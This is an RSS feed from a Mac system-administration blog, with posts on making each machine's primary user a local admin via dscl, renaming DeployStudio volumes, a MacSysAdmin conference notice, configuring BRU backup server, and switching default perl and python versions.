<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Krypted &#187; Mac OS X</title>
	<atom:link href="http://krypted.com/category/mac-os-x/feed/" rel="self" type="application/rss+xml" />
	<link>http://krypted.com</link>
	<description>Notes from the field</description>
	<lastBuildDate>Wed, 28 Jul 2010 03:19:43 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Making Every User an Admin</title>
		<link>http://krypted.com/mac-os-x/making-every-user-an-admin/</link>
		<comments>http://krypted.com/mac-os-x/making-every-user-an-admin/#comments</comments>
		<pubDate>Wed, 28 Jul 2010 02:00:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Mac OS X Server]]></category>
		<category><![CDATA[Mac Security]]></category>
		<category><![CDATA[Mass Deployment]]></category>
		<category><![CDATA[admin user]]></category>
		<category><![CDATA[append]]></category>
		<category><![CDATA[defaults]]></category>
		<category><![CDATA[dscl]]></category>
		<category><![CDATA[dseditgroup]]></category>
		<category><![CDATA[MAC]]></category>
		<category><![CDATA[make a local admin]]></category>
		<category><![CDATA[scutil]]></category>
		<category><![CDATA[Text1]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=6089</guid>
		<description><![CDATA[If you deploy a large number of computers to users who are somewhat likely to play practical jokes on each other then you will run into some interesting issues. If you are deploying one computer to every user and you want each user to be an administrator of their computer then you might be tempted [...]]]></description>
			<content:encoded><![CDATA[<p>If you deploy a large number of computers to users who are somewhat likely to play practical jokes on each other then you will run into some interesting issues. If you are deploying one computer to every user and you want each user to be an administrator of their computer then you might be tempted to allow all users to be administrators of all computers. If you do then prepare for an infinite number of sometimes amusing practical jokes. But really, being proactive about this brings up an interesting point: how do you deploy a computer and make only the user who you want to be an administrator an administrator.</p>
<p>In a large deployment of Mac OS X, you are going to likely have a map somewhere between what user has each computer. You may even go so far as to name the computers the same name that you name the user associated with the computer. If you do this, then you have a pretty straight-forward task ahead of you. Basically, you&#8217;ll add the user who you are handing the computer to an administrator by adding them to the admin group. In order to do so, can check the &#8220;Allow user to administer this computer&#8221; as you can see in the following figure.<br />
<a href="http://krypted.com/wp-content/uploads/2010/07/Screen-shot-2010-07-27-at-8.55.12-PM.png"><img class="aligncenter size-medium wp-image-6090" title="Screen shot 2010-07-27 at 8.55.12 PM" src="http://krypted.com/wp-content/uploads/2010/07/Screen-shot-2010-07-27-at-8.55.12-PM-300x245.png" alt="" width="300" height="245" /></a> If you have a sizable deployment you&#8217;ll want to automate this task rather than log in as each user and set the setting. You can automate the task using the dscl command along with the append verb. For example to place the user cedge into the admin group:</p>
<blockquote><p>sudo dscl . append /Groups/admin GroupMembership cedge</p></blockquote>
<p>That works as a one-off operation but not in bulk. If your computer name is the same as the user who will be using the system you can then use the scutil command and &#8220;&#8211;get&#8221; the ComputerName:</p>
<blockquote><p>scutil &#8211;get ComputerName</p></blockquote>
<p><strong>NOTE: The &#8211;get options in this article are two hyphens rather than one, WordPress just merges them for some reason&#8230;</strong></p>
<p>You can then use this as the variable to use for augmenting the GroupMembership for admin:</p>
<blockquote><p>sudo dscl . append /Groups/admin GroupMembership `scutil &#8212;get ComputerName`</p></blockquote>
<p>Pop that into a post-flight package and you&#8217;ve got yourself a solution where you make the primary user of a system the admin of the local box and then make the subsequent users standard accounts. If your ComputerName doesn&#8217;t match your user name then all is not lost. One way to grab what admin user you&#8217;d like for each host would be to populate something on the client with that information. Another would be to put it in a csv and read the line for the csv that is associated to the computer in to obtain it. If you populate something on the client it could be the Text1 field from Apple Remote Desktop. This can be done using the Remote Management option in the Sharing System Preference, clicking on Computer Settings and then typing the data into the Info 1: field.</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/07/Screen-shot-2010-07-27-at-9.58.14-PM.png"><img class="aligncenter size-medium wp-image-6091" title="Screen shot 2010-07-27 at 9.58.14 PM" src="http://krypted.com/wp-content/uploads/2010/07/Screen-shot-2010-07-27-at-9.58.14-PM-300x155.png" alt="" width="300" height="155" /></a></p>
<p>To insert the information at image time (or at least programmatically), you could use defaults to write it into com.apple.RemoteDesktop.plist, located in /Library/Preferences:</p>
<blockquote>
<div id="_mcePaste">defaults write /Library/Preferences/com.apple.RemoteDesktop Text1 &#8220;cedge&#8221;</div>
</blockquote>
<p>To then read that variable:</p>
<blockquote><p>defaults read /Library/Preferences/com.apple.RemoteDesktop Text1</p></blockquote>
<p>The command to set the admin user based on the Text1 field would then be:</p>
<blockquote><p>sudo dscl . append /Groups/admin GroupMembership `defaults read /Library/Preferences/com.apple.RemoteDesktop Text1`</p></blockquote>
<p>There are probably about as many other ways to go about this as there are Mac OS X mass deployments. For example, instead of inserting data into Text1 from a defaults command, you could use kickstart with the -computerinfo option to write data into -set1 -1 or something like that (which is likely safer than defaults, albeit more difficult if you decide to do it to your non-booted volume). But hopefully these options, somewhere down the road, will help someone (after all, that&#8217;s why we post this kind of thing, right?!?!).<strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/mac-os-x/create-groups-using-dscl/" rel="bookmark" title="September 7, 2009">Create Groups Using dscl</a></li>
<li><a href="http://krypted.com/mac-os-x/mac-os-x-fast-user-switching/" rel="bookmark" title="April 6, 2009">Mac OS X: Fast User Switching</a></li>
<li><a href="http://krypted.com/mac-os-x-server/mac-os-x-fun-with-scutil/" rel="bookmark" title="August 13, 2008">Mac OS X: Fun with scutil</a></li>
<li><a href="http://krypted.com/mac-os-x/programatic-screen-sharing/" rel="bookmark" title="January 26, 2010">Programatic Screen Sharing</a></li>
<li><a href="http://krypted.com/mac-os-x/apple-remote-desktop-setting-up-a-task-server/" rel="bookmark" title="April 14, 2008">Apple Remote Desktop: Setting up a Task Server</a></li>
</ul>
<p><!-- Similar Posts took 5.980 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-os-x/making-every-user-an-admin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DeployStudio: Rename a Volume with Host Name</title>
		<link>http://krypted.com/mac-os-x/deploystudio-rename-a-volume-with-host-name/</link>
		<comments>http://krypted.com/mac-os-x/deploystudio-rename-a-volume-with-host-name/#comments</comments>
		<pubDate>Sat, 12 Jun 2010 18:40:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Mac OS X Server]]></category>
		<category><![CDATA[Mass Deployment]]></category>
		<category><![CDATA[computername]]></category>
		<category><![CDATA[DeployStudio]]></category>
		<category><![CDATA[diskutil]]></category>
		<category><![CDATA[get]]></category>
		<category><![CDATA[hostname]]></category>
		<category><![CDATA[rename computer]]></category>
		<category><![CDATA[rename volume]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[scutil]]></category>
		<category><![CDATA[variable]]></category>
		<category><![CDATA[Workflow]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=6068</guid>
		<description><![CDATA[DeployStudio has the ability to rename volumes as part of a standard workflow. These are typically set to something like &#8220;Macintosh HD&#8221; (the default) or &#8220;Computer Lab&#8221; or something like that. But what if you wanted to name the volume something unique to a given computer, which makes it easier to keep track with what [...]]]></description>
			<content:encoded><![CDATA[<p>DeployStudio has the ability to rename volumes as part of a standard workflow. These are typically set to something like &#8220;Macintosh HD&#8221; (the default) or &#8220;Computer Lab&#8221; or something like that. But what if you wanted to name the volume something unique to a given computer, which makes it easier to keep track with what you are doing across a number of servers? You could create a workflow for each computer and change the hard drive name for each to something unique; but that would be tedious and pollute your list of workflows, likely resulting in accidentally running the wrong workflow at times. Instead, you could look at a really simple script in most cases (according to how complicated your logic for assigning names would be).</p>
<p>To rename a volume, you can use the diskutil command along with the rename option. You would then list the existing name followed by the new name that you&#8217;d like that volume to have. In the case of DeployStudio the initial name of your boot volume might be &#8220;Macintosh HD&#8221; and to change the name to something like &#8220;Computer Lab&#8221; you would then use a command like:</p>
<blockquote><p>diskutil rename Macintosh\ HD Computer\ Lab</p></blockquote>
<p>It might then be logical to use a host name to rename a computer. Therefore, we could replace Computer\ Lab with the hostname command like so:</p>
<blockquote><p>diskutil rename Macintosh\ HD `hostname`</p></blockquote>
<p>However, this ends up showing the fully qualified name. Therefore, we could replace hostname with an scutil query for the ComputerName:</p>
<blockquote><p>diskutil rename Macintosh\ HD `scutil &#8211;get ComputerName`</p></blockquote>
<p>This would result in the name without all the .local, etc. But if you ran this as part of a DeployStudio workflow, you would end up calling the hard drive for all of your machines localhost. This is because the hostname or ComputerName will be queried from the DeployStudio set that you are booted to for running the DeployStudio Runtime. Luckily, DeployStudio has a number of variables that it can use in scripts. One of them is DS_HOSTNAME, which pulls the ComputerName being applied to the system at imaging. This means that if we were to rename the hard drive of the computer from Macintosh HD to the DS_HOSTNAME, you could use the following script:</p>
<blockquote><p>diskutil rename /Volumes/Macintosh\ HD $DS_HOSTNAME</p></blockquote>
<p>Now, one might think to oneself, couldn&#8217;t I just put $DS_HOSTNAME in the field for renaming the hard drive (part of a workflow). I tried it a number of different ways and couldn&#8217;t get it to work (in parenthesis, quoted out different kinds of ways, in different types of brackets and combinations of the above). If anyone knows of a way to use a variable in a GUI field within DeployStudio, let me know (I am guessing it can be done).<strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/mac-os-x/creating-a-master-deploystudio-image/" rel="bookmark" title="July 22, 2009">Creating a Master DeployStudio Image</a></li>
<li><a href="http://krypted.com/mac-os-x/enabling-raid-mirrors-redux/" rel="bookmark" title="February 23, 2010">Enabling RAID Mirrors Redux</a></li>
<li><a href="http://krypted.com/mac-os-x-server/mac-os-x-fun-with-scutil/" rel="bookmark" title="August 13, 2008">Mac OS X: Fun with scutil</a></li>
<li><a href="http://krypted.com/mac-os-x/more-repairpermissions/" rel="bookmark" title="March 1, 2010">More repairPermissions</a></li>
<li><a href="http://krypted.com/mac-os-x/making-every-user-an-admin/" rel="bookmark" title="July 27, 2010">Making Every User an Admin</a></li>
</ul>
<p><!-- Similar Posts took 5.500 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-os-x/deploystudio-rename-a-volume-with-host-name/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>MacSysAdmin</title>
		<link>http://krypted.com/mac-os-x/macsysadmin/</link>
		<comments>http://krypted.com/mac-os-x/macsysadmin/#comments</comments>
		<pubDate>Fri, 11 Jun 2010 20:24:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Mac OS X Server]]></category>
		<category><![CDATA[Mac Security]]></category>
		<category><![CDATA[Mass Deployment]]></category>
		<category><![CDATA[conference]]></category>
		<category><![CDATA[MacSysAdmin]]></category>
		<category><![CDATA[speaking]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=6066</guid>
		<description><![CDATA[MacSysAdmin will again be held in Gothenburg, Sweden. The dates for MacSysAdmin (and most of the speakers) have been announced. The conference will be held from September 29th through October 1st at the Folkets Hus. 
I am honored to again be a speaker and will be there throughout the conference, which includes sessions from a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://macsysadmin.se/2010/Home.html">MacSysAdmin</a> will again be held in <a href="http://maps.google.com/maps?client=safari&amp;rls=en&amp;q=gothenburg+sweden">Gothenburg, Sweden</a>. The dates for MacSysAdmin (and most of the speakers) have been announced. The conference will be held from September 29th through October 1st at the <a href="http://www.gbg.fh.se/_eng/index.asp">Folkets Hus</a>. <img class="aligncenter" title="Gothenburg" src="http://macsysadmin.se/2010/Accommodation_files/GBG-bild.jpg" alt="" width="519" height="190" /></p>
<p>I am honored to again be a speaker and will be there throughout the conference, which includes sessions from a number of Mac gurus, including Arek Dreyer, Andrina Kelly, Alan Gordon, Karl Kuehn and Duncan McCracken.</p>
<p><a href="http://macsysadmin.se/register/register.php">Click here to sign up</a> and hope to see you there!<strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/mac-os-x/speaking-at-macsysadmin-2009-in-sweden/" rel="bookmark" title="August 23, 2009">Speaking at MacSysAdmin 2009 in Sweden</a></li>
<li><a href="http://krypted.com/mac-os-x/macsysadmin-videos/" rel="bookmark" title="September 25, 2009">MacSysAdmin Videos</a></li>
<li><a href="http://krypted.com/mac-os-x/slides-from-macsysadmin-talk-on-enterprise-backup/" rel="bookmark" title="September 22, 2009">Slides from MacSysAdmin Talk on Enterprise Backup</a></li>
</ul>
<p><!-- Similar Posts took 7.339 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-os-x/macsysadmin/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>BRU Primer -&gt; Advanced</title>
		<link>http://krypted.com/mac-os-x/bru-primer-advanced/</link>
		<comments>http://krypted.com/mac-os-x/bru-primer-advanced/#comments</comments>
		<pubDate>Wed, 09 Jun 2010 15:00:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Mac OS X Server]]></category>
		<category><![CDATA[Mac Security]]></category>
		<category><![CDATA[agent]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[BRU]]></category>
		<category><![CDATA[bru-server]]></category>
		<category><![CDATA[Command line]]></category>
		<category><![CDATA[config]]></category>
		<category><![CDATA[console]]></category>
		<category><![CDATA[kill]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=6043</guid>
		<description><![CDATA[In BRU 2, you have 3 tools to use. These include:

BRU Server Agent Config (UB) &#8211; A tool used to install the agent, which needs to be located on each machine that will be backed up (including the server if it has any data to back up)
BRU Server Config (UB) &#8211; Used to configure the [...]]]></description>
			<content:encoded><![CDATA[<p>In BRU 2, you have 3 tools to use. These include:</p>
<ul>
<li>BRU Server Agent Config (UB) &#8211; A tool used to install the agent, which needs to be located on each machine that will be backed up (including the server if it has any data to back up)</li>
<li>BRU Server Config (UB) &#8211; Used to configure the server daemon, backup server configurations and set passwords to communicate with the server. Also used to set licensing information and perform scans for new tape drives and libraries.</li>
<li>BRU Server Console (UB) &#8211; Used to configure backup jobs, schedules, etc.</li>
</ul>
<p>To get started, open the BRU Server Config application from the components that come with your software (or that you downloaded from the BRU website). First you will be asked to provide an administrative password to BRU. Provide the password and then click on Save.</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.14.21-AM.png"><img class="aligncenter size-medium wp-image-6045" title="BRU Password" src="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.14.21-AM-300x138.png" alt="" width="300" height="138" /></a>Next, the server components will be copied to /usr/local/bru-server. The system will also perform a hardware scan of your server, looking for tape drives and libraries (you can always rerun this process later if need be).</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.14.42-AM.png"><img class="aligncenter size-medium wp-image-6046" title="BRU hardware scan" src="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.14.42-AM-300x186.png" alt="" width="300" height="186" /></a>Once the processes are complete the BRU Server Configuration Tool will open and you can configure the server. To do so, first click Start to start the daemon. If you need to restart it at a later date you can simply click on the Stop or Restart buttons here. Then, if like most, you would like for the server to start at boot, check the box for Server daemon starts at boot. Here, you can also use the Backup and Restore buttons to backup and restore server configurations or the Modify button to enter a new password for the server.</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.15.08-AM.png"><img class="aligncenter size-medium wp-image-6047" title="BRU Server Config" src="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.15.08-AM-300x240.png" alt="" width="300" height="240" /></a>You can also perform most of these options from the command line using the server command located in /usr/local/bru-server. For example, to stop the server, you would use the &#8211;kill option:</p>
<blockquote><p>/usr/local/bru-server/server &#8211;kill</p></blockquote>
<p>To then start the server, run it with no arguments:</p>
<blockquote><p>/usr/local/bru-server/server</p></blockquote>
<p>Or to set the password, you would use (go figure) the &#8211;password option:</p>
<blockquote><p>/usr/local/bru-server/server &#8211;password</p></blockquote>
<p>You can also perform some options not exposed in the Configuration Tool GUI, such as running it on a custom port using the &#8211;port option followed by the port number:</p>
<blockquote><p>/usr/local/bru-server/server &#8211;port=8090</p></blockquote>
<p>Finally, you can check the version and license information using the &#8211;version and &#8211;license options respectively.</p>
<p>Once you are satisfied with your configuration of the server component, you will then close the tool and move on to installing the Agent(s). Each machine that will get backed up will need an agent installed. Configure the options for the BRU Agent using the BRU Server Agent Config application. Simply open the application from your installer. On first open, the agent will copy /usr/local/bru-server to your machine (if you installed the server it will just copy the agent portions of BRU), which will contain the agent. You will also then see a b icon in the menu bar. Click on the b icon in the menu bar and then click on Agent Configuration to bring up a screen similar to the following.</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.04.43-AM.png"><img class="aligncenter size-medium wp-image-6044" title="BRU Agent Configuration" src="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.04.43-AM-300x210.png" alt="" width="300" height="210" /></a></p>
<p>Here, click on the Start button to configure the agent. You will typically want the agent to start automatically when you install a system, so click on the check box for Agent daemon starts automatically. You will then need to provide a server that the agent can communicate with. To do so, click on the plus sign (+) on the screen and then provide the server that the agent can communicate with and the credentials to do so. Once complete, you will then be able to see the client system in the Server Console.</p>
<p>You can also configure it from the command line, fairly easily. To do so, run the agent, located in /usr/local/bru-server, along with the &#8211;config option:</p>
<blockquote><p>/usr/local/bru-server/agent &#8211;config</p></blockquote>
<p>The BRU Server Agent Configuration will then enter into the interactive mode and you will see any BRU Server Console&#8217;s that the agent is configured to communicate with. Here, type N and then you will be prompted for the hostname of your BRU Server. Here, provide the  name or an IP address for the server and then hit the enter key. When prompted, provide a password to enter into the Console. The server will then be assigned a unique number. Entering that at the interactive prompt will then remove the server again. Once the agent has been started, it can be stopped by running the agent command with the &#8211;kill option:</p>
<blockquote><p>/usr/local/bru-server &#8211;kill</p></blockquote>
<p><em>Note: For Windows, the configuration command line tool is located in C:\Program Files\BRU Server Agent Configuration.</em></p>
<p>Now that you have configured the agent and the server, it&#8217;s time to actually setup jobs and schedules. To get started, open the BRU Server Console application. The console components will then be copied into /usr/local/bru-server.</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.36.39-AM.png"><img class="aligncenter size-medium wp-image-6048" title="BRU Server Console" src="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.36.39-AM-300x148.png" alt="" width="300" height="148" /></a>Click on OK and then the authenticate to the server.</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.37.08-AM.png"><img class="aligncenter size-medium wp-image-6049" title="Bru Console Authentication" src="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.37.08-AM-300x182.png" alt="" width="300" height="182" /></a>Once you have logged in, you will see the console. If the installation of the agents went properly, you should see any that you have installed as well.</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.39.34-AM.png"><img class="aligncenter size-medium wp-image-6050" title="BRU Server Console" src="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.39.34-AM-300x205.png" alt="" width="300" height="205" /></a>Disk-to-Disk backups in BRU are mostly considered a staging area, where data is stored while waiting to be shuttled to tape. To set the staging area, click on the BRU Server Console menu and then click on Preferences&#8230;</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.46.21-AM.png"><img class="aligncenter size-medium wp-image-6052" title="Setting the Staging Area in BRU" src="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.46.21-AM-300x287.png" alt="" width="300" height="287" /></a></p>
<p>In the Stage Path field, provide a path that the stage files will be stored in. You can also set the maximum age of the staging data and the number of jobs to be stored in the history. When you&#8217;re satisfied with your settings, click on the Save button.</p>
<p>Back at the Console screen, you will click on the plus sign (+) to add a new backup job, which will bring up the screen you see here.</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.42.47-AM.png"><img class="aligncenter size-medium wp-image-6051" title="Backup Job" src="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.42.47-AM-300x267.png" alt="" width="300" height="267" /></a></p>
<p>The backup job will include the following options:</p>
<ul>
<li>Job name: A name for the job.</li>
<li>Destination: Where the backup will be written to. You can use Stage Disk or choose a tape drive/library.</li>
<li>Backup Type: Your first job will need to be a full, subsequent jobs can be incremental or differential, which will require you to set a full job that you have created as the &#8220;Base Job&#8221;. An incremental will backup files that have been altered since the last incremental or full backup. A differential will backup all files altered since the last full, even if they were already backed up. Differentials will lead to faster restore times as you near the end of a backup cycle; however, they will usually take up considerably more space.</li>
<li>Base Job: The full backup job to base a differential or incremental backup job on.</li>
<li>Compression: Whether or not the software will attempt to compress data. Enabling compression causes slower backups, but takes up less space.</li>
<li>Email: An address to send backup reports to for the given job.</li>
<li>Verify Backup: Performs a scan of backed up files to ensure they match the source. This will take longer than if you do not enable it but provides peace of mind/assurance/etc.</li>
<li>Eject Tape after job completes: Only used if you are using tape, usually not used if you are using tape libraries.</li>
<li>Enable archive encryption: Encrypts archives <img src='http://krypted.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </li>
</ul>
<p>Once you have configured a job as you see fit, click on OK and you will be taken back to the BRU Server Console screen. For each job you will still need to configure a schedule for the job as well as what source directories/files to be backed up. To set the schedule, click on the job name to be scheduled and then click on the Schedule&#8230; button. At the Job Scheduler screen, set the frequency and starting times that your job should run at and then click on the Save button.</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.56.58-AM.png"><img class="aligncenter size-medium wp-image-6053" title="BRU Job Scheduler" src="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.56.58-AM-300x186.png" alt="" width="300" height="186" /></a>You will then need to configure the source directories for your backups. Back at the Console screen, click on the name of the job and then click on each directory to be backed up. Clicking on a directory will cycle through color codes. The colors indicate whether or not the directory will be backed up:</p>
<ul>
<li>yellow indicates that part of a directory will be backed up</li>
<li>green indicates the entire directory will be backed up</li>
<li>red indicates that a directory will explicitly be skipped</li>
</ul>
<p>When you are satisfied with your backup job, click Save. You will then configure an incremental or differential job for each base job and finally a job that is specifically for upstaging data to tape, or completing the disk-to-disk-to-tape sequence. When you are finished configuring each of your jobs you can run them manually to test by clicking on the Run Now while the job is selected from the console. When running, you can monitor each job using the Tools icon in the side bar and then the Job Monitor option in the Tools drop-down menu. To stop a job that is running, you can click on the Kill command here.</p>
<p>You can also run jobs from the command line, using the backup option for the bru-server.cmd command located in /usr/local/bru-server. The command can be run using the -j option (name of job), followed by the name of the job to be run, followed by the -t option (type of job), followed by the type of job being run (ie &#8211; Full, Incremental or Differental), followed by -Z (enable compression) and -v (enable verification), followed by the paths (starting with server names) to be backed up in brackets. For example, to run our test job:</p>
<blockquote><p>backup -j &#8220;test&#8221; -t &#8220;Full&#8221; -Z -v ["/krypted//Volumes/Installers"]</p></blockquote>
<p>This allows you to somewhat seamlessly integrate the backup of files that are archived with Final Cut Server, by calling up the backup command as a post-flight action for any automations kicked off by Final Cut Server. You can also backup data using the bru-server.cmd command in /usr/local/bru-server. You can then restore files that are backed up using the bru-server.cmd command&#8217;s restore option. In order to use the restore option, you&#8217;ll need to know which archive the file is stored in. In order to find that you will also need to script the search option (search for the appropriate file and then craft your restore to pull data back to the restore path for fcsvr_client using the correct archive that the file is stored on). To search through the archives for the appropriate file:</p>
<blockquote><p>search &#8220;my file.mov&#8221;</p></blockquote>
<p>You can also provide archives as part of the search, but we likely wouldn&#8217;t be searching here if we knew which ones to use.</p>
<p><em>Note: The BRU commands are based on python. When the python environment on a machine has been customized the results for BRU can be unexpected.</em><strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/mac-os-x/backup-exec-for-mac-os-x/" rel="bookmark" title="June 10, 2009">Backup Exec for Mac OS X</a></li>
<li><a href="http://krypted.com/business/cage-match-retrospect-vs-bru/" rel="bookmark" title="September 13, 2006">Cage Match: Retrospect vs. BRU</a></li>
<li><a href="http://krypted.com/final-cut-server/archive-restore-assets-with-fcsvr_client/" rel="bookmark" title="June 7, 2010">Archive &#038; Restore Assets with fcsvr_client</a></li>
<li><a href="http://krypted.com/mac-os-x/mac-os-x-trusted-binding/" rel="bookmark" title="September 29, 2007">Mac OS X: Trusted Binding</a></li>
<li><a href="http://krypted.com/mac-os-x-server/howto-install-awstats-on-os-x/" rel="bookmark" title="February 3, 2006">Howto Install awstats on OS X</a></li>
</ul>
<p><!-- Similar Posts took 9.615 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-os-x/bru-primer-advanced/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Perl Control</title>
		<link>http://krypted.com/mac-os-x/perl-control/</link>
		<comments>http://krypted.com/mac-os-x/perl-control/#comments</comments>
		<pubDate>Tue, 08 Jun 2010 15:00:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[32-bit]]></category>
		<category><![CDATA[com.apple.versioner.python]]></category>
		<category><![CDATA[Command line]]></category>
		<category><![CDATA[defaults]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[Version]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=6032</guid>
		<description><![CDATA[There are a lot of versions of the popular perl scripting language out there, and depending on what version you may have written a script with you might find that using a different version than the one that comes with an OS by default can have a drastic impact on a script. In Mac OS [...]]]></description>
			<content:encoded><![CDATA[<p>There are a lot of versions of the popular perl scripting language out there, and depending on what version you may have written a script with you might find that using a different version than the one that comes with an OS by default can have a drastic impact on a script. In Mac OS X you can change the default version of perl that the perl and a2p command will use. Before doing so you should check the version of perl being used by default, which can be done using the perl command, followed by the -v option:</p>
<blockquote><p>perl -v</p></blockquote>
<p>By default, the OS currently uses version 5.10.0. To change the version, you would use the defaults command to change the com.apple.versioner.perl defaults domain. You will add a key called Version with a string of the version you would like to use. For example, to switch to 5.8.8:</p>
<blockquote><p>defaults write com.apple.versioner.perl Version -string 5.8.8</p></blockquote>
<p>To change it back to 5.10.0:</p>
<blockquote><p>defaults write com.apple.versioner.perl Version -string 5.10.0</p></blockquote>
<p>You can also set perl to run in 32 bit mode:</p>
<blockquote><p>defaults write com.apple.versioner.perl Prefer-32-Bit -boolean TRUE</p></blockquote>
<p>To put it back:</p>
<blockquote><p>defaults write com.apple.versioner.perl Prefer-32-Bit -boolean FALSE</p></blockquote>
<p>Python provides the same functionality:</p>
<blockquote><p>defaults write com.apple.versioner.python Version -string 2.6</p></blockquote>
<p>Or to run Python in 32-bit mode:</p>
<blockquote><p>defaults write com.apple.versioner.python Prefer-32-Bit -boolean TRUE</p></blockquote>
<p><strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/mac-os-x/running-perl-in-32-bit-mode-in-mac-os-x/" rel="bookmark" title="December 10, 2009">Running Perl in 32-bit Mode in Mac OS X</a></li>
<li><a href="http://krypted.com/mac-os-x/disabling-dashboard/" rel="bookmark" title="March 14, 2009">Disabling Dashboard</a></li>
<li><a href="http://krypted.com/mac-os-x/programatic-screen-sharing/" rel="bookmark" title="January 26, 2010">Programatic Screen Sharing</a></li>
<li><a href="http://krypted.com/mac-os-x/mac-os-x-105-disable-glass-shelf-in-dock/" rel="bookmark" title="November 23, 2007">Mac OS X 10.5: Disable Glass Shelf in Dock</a></li>
<li><a href="http://krypted.com/mac-os-x/mac-setting-screen-saver-from-the-cli/" rel="bookmark" title="June 19, 2009">Mac: Setting Screen Saver from the CLI</a></li>
</ul>
<p><!-- Similar Posts took 6.366 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-os-x/perl-control/feed/</wfw:commentRss>
